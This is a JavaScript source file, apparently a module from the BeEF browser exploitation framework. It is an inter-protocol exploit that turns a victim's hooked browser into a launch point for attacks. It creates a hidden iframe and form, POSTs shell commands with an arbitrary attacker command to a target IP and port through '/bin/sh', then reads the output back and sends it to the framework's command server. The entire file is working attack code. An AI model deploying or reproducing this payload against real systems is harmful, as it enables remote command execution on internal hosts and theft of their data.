106 lines
4.2 KiB
JavaScript
106 lines
4.2 KiB
JavaScript
//
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// Copyright 2012 Wade Alcorn wade@bindshell.net
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//
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// Licensed under the Apache License, Version 2.0 (the "License");
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// you may not use this file except in compliance with the License.
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// You may obtain a copy of the License at
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//
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// http://www.apache.org/licenses/LICENSE-2.0
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//
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// Unless required by applicable law or agreed to in writing, software
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// distributed under the License is distributed on an "AS IS" BASIS,
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// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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// See the License for the specific language governing permissions and
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// limitations under the License.
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//
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beef.execute(function() {
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var target_ip = "<%= @ip %>";
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var target_port = "<%= @port %>";
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var cmd = '<%= @cmd %>';
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var timeout = "<%= @command_timeout %>";
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var internal_counter = 0;
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var result_size = "<%= @result_size %>";
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// create iframe
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var iframe = document.createElement("iframe");
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iframe.setAttribute("id","ipc_posix_window_<%= @command_id %>");
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iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");
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document.body.appendChild(iframe);
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// send a request
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function send_cmds(ip, port, cmd, size) {
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var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh;";
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var parent = window.location.href;
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// create form
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myform=document.createElement("form");
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myform.setAttribute("name","data");
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myform.setAttribute("method","post");
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myform.setAttribute("enctype","multipart/form-data");
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myform.setAttribute("action",action);
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document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform);
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body1="<html><body><div id='ipc_content'>";
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body2="__END_OF_POSIX_IPC<%= @command_id %>__</div><s"+"cript>window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);</"+"script></body></html>";
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// post results separator
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myExt = document.createElement("INPUT");
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myExt.setAttribute("id",<%= @command_id %>);
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myExt.setAttribute("name",<%= @command_id %>);
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myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(body1.length+cmd.length+body2.length+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \""+body1+"\";(" + cmd + ")|head -c "+size+" ; ");
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myform.appendChild(myExt);
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// Adding buffer space for the command result
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end_talkback=" echo -e \""+body2;
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while(--size) end_talkback+=" ";
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end_talkback+="\" \\\\r ;";
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// post js to call home and close connection
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myExt2 = document.createElement("INPUT");
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myExt2.setAttribute("id","endTag");
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myExt2.setAttribute("name","</div>");
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myExt2.setAttribute("value",end_talkback);
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myform.appendChild(myExt2);
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myform.submit();
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}
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// wait <timeout> seconds for iframe url fragment to match #ipc_result=
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function waituntilok() {
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try {
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if (/#ipc_result=/.test(document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.location)) {
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ipc_result = document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.location.href;
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output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_POSIX_IPC<%= @command_id %>__'));
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beef.net.send('<%= @command_url %>', <%= @command_id %>, "result="+decodeURI(output.replace(/%0A/gi, "<br>")).replace(/</g, "<").replace(/>/g, ">").replace(/<br>/gi, "<br>"));
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document.body.removeChild(iframe);
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return;
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} else throw("command results haven't been returned yet");
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} catch (e) {
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internal_counter++;
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if (internal_counter > timeout) {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');
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document.body.removeChild(iframe);
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return;
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}
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setTimeout(function() {waituntilok()},1000);
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}
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}
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// validate target
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if (!target_port || !target_ip || isNaN(target_port)) {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port');
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} else if (target_port > 65535 || target_port < 0) {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
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// send request and wait for reply
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} else {
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send_cmds(target_ip, target_port, cmd,result_size);
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waituntilok();
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}
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});
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